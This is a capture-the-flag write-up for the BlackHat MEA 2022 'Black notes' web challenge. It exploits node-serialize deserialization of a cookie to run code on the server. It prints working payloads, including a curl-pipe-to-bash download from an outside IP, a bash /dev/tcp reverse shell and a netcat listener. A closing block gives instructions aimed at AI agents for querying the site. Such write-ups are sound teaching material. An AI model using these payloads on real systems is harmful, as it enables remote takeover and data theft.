# Black notes

## Difficulty

Medium

## Points

250

## Description

We created this website for hackers to save thier payloads and notes in a secure way

## Quick Analysis

After registration, the endpoint `register` return `notes` cookie, which is a base64 `eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifX0=` and redirect to `/notes` endpoint. The endpoint `/notes` rendered the registered `username` and `Sample Note`.

### Analyzing the notes endpoint and cookie

Decode the cookie value of notes `eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifX0=` using Base64 algorithm.

```python
from base64 import b64encode, b64decode

notes_value = 'eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifX0='
b64decode(notes_value).decode()
```

```
'{"notes":{"0":"Sample Note"}}'
```

The JSON object contains notes that are parsed and returned in the endpoint `/notes`.

### Unhandeled Exception

What if the JSON object is unparsable.

```python
payload = b'{"notes":{"0":"Sample Note"},}'
b64encode(payload).decode()
```

```
'eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifSx9'
```

Change the cookie value of notes then, reload the endpoint `/notes`.

```javascript
SyntaxError: Unexpected token O in JSON at position 29
    at JSON.parse (<anonymous>)
    at exports.unserialize (/data/node_modules/node-serialize/lib/serialize.js:62:16)
    at /data/app.js:42:37
    at Layer.handle [as handle_request] (/data/node_modules/express/lib/router/layer.js:95:5)
    at next (/data/node_modules/express/lib/router/route.js:144:13)
    at Route.dispatch (/data/node_modules/express/lib/router/route.js:114:3)
    at Layer.handle [as handle_request] (/data/node_modules/express/lib/router/layer.js:95:5)
    at /data/node_modules/express/lib/router/index.js:284:15
    at Function.process_params (/data/node_modules/express/lib/router/index.js:346:12)
    at next (/data/node_modules/express/lib/router/index.js:280:10)
```

From the exception, the endpoint `/notes` uses `node-serialize` to unserialize the object.

## Exploitation

I assumed the application is vulnerable to unsafe deserialization, and this challenge is the same as the ZDITECH example [\[1\]](https://zditect.com/code/javascript/exploiting-nodejs-deserialization-bug-for-remote-code-execution.html).

### Proof of concept

Since the endpoint `/notes` render the notes object, craft a function that returns `1`; if the application is vulnerable, the endpoint `/notes` should return `1` on the page.\
Payload

```python
payload = b'{"notes":{"0":"Sample Note","1":"_$$ND_FUNC$$_function (){return 1;}()"}}'
b64encode(payload).decode()
```

```
'eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUiLCIxIjoiXyQkTkRfRlVOQyQkX2Z1bmN0aW9uICgpe3JldHVybiAxO30oKSJ9fQ=='
```

Change the cookie value of notes then, reload the endpoint `/notes`.\
After reloading the endpoint `/notes`, the payload executed and returned `1`.

### Reverse shell

Run an HTTP server on port 80

```bash
python3 -m http.server 80
```

Create `index.html` with content

```bash
#!/bin/bash
/bin/bash -c '/bin/bash -i >& /dev/tcp/188.166.173.195/443 0>&1'
```

Payload

```json
{"notes":{"0":"Sample Note","1":"_$$ND_FUNC$$_function (){require('child_process').exec('curl 188.166.173.195 | bash', function(error, stdout, stdin){});}()"}}
```

* The function executes the command `curl 188.166.173.195 | bash` via `exec` function.
* The command `curl 188.166.173.195 | bash` requests the `index.html` content from `188.166.173.195` via `curl`, then `curl` pipes the content of `index.html` to `bash`.
* Start a `netcat` listener on port 443

```bash
nc -lnvp 443
```

```python
payload = b"{\"notes\":{\"0\":\"Sample Note\",\"1\":\"_$$ND_FUNC$$_function (){require('child_process').exec('curl 188.166.173.195 | bash', function(error, stdout, stdin){});}()\"}}"

b64encode(payload).decode()
```

```
'eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUiLCIxIjoiXyQkTkRfRlVOQyQkX2Z1bmN0aW9uICgpe3JlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjKCdjdXJsIDE4OC4xNjYuMTczLjE5NSB8IGJhc2gnLCBmdW5jdGlvbihlcnJvciwgc3Rkb3V0LCBzdGRpbil7fSk7fSgpIn19'
```

Change the cookie value of notes then, reload the endpoint `/notes` to obtain a reverse shell.

### The flag

Execute `printenv` command on the challenge server to get the flag.

```
FLAG=BlackHatMEA{551:18:d6c3f76447af44a983af790e399a8f87fb8f4693}
```

## References

* <https://zditect.com/code/javascript/exploiting-nodejs-deserialization-bug-for-remote-code-execution.html>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.diefunction.io/ctf/blackhatmea-quals-2022/black-notes.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
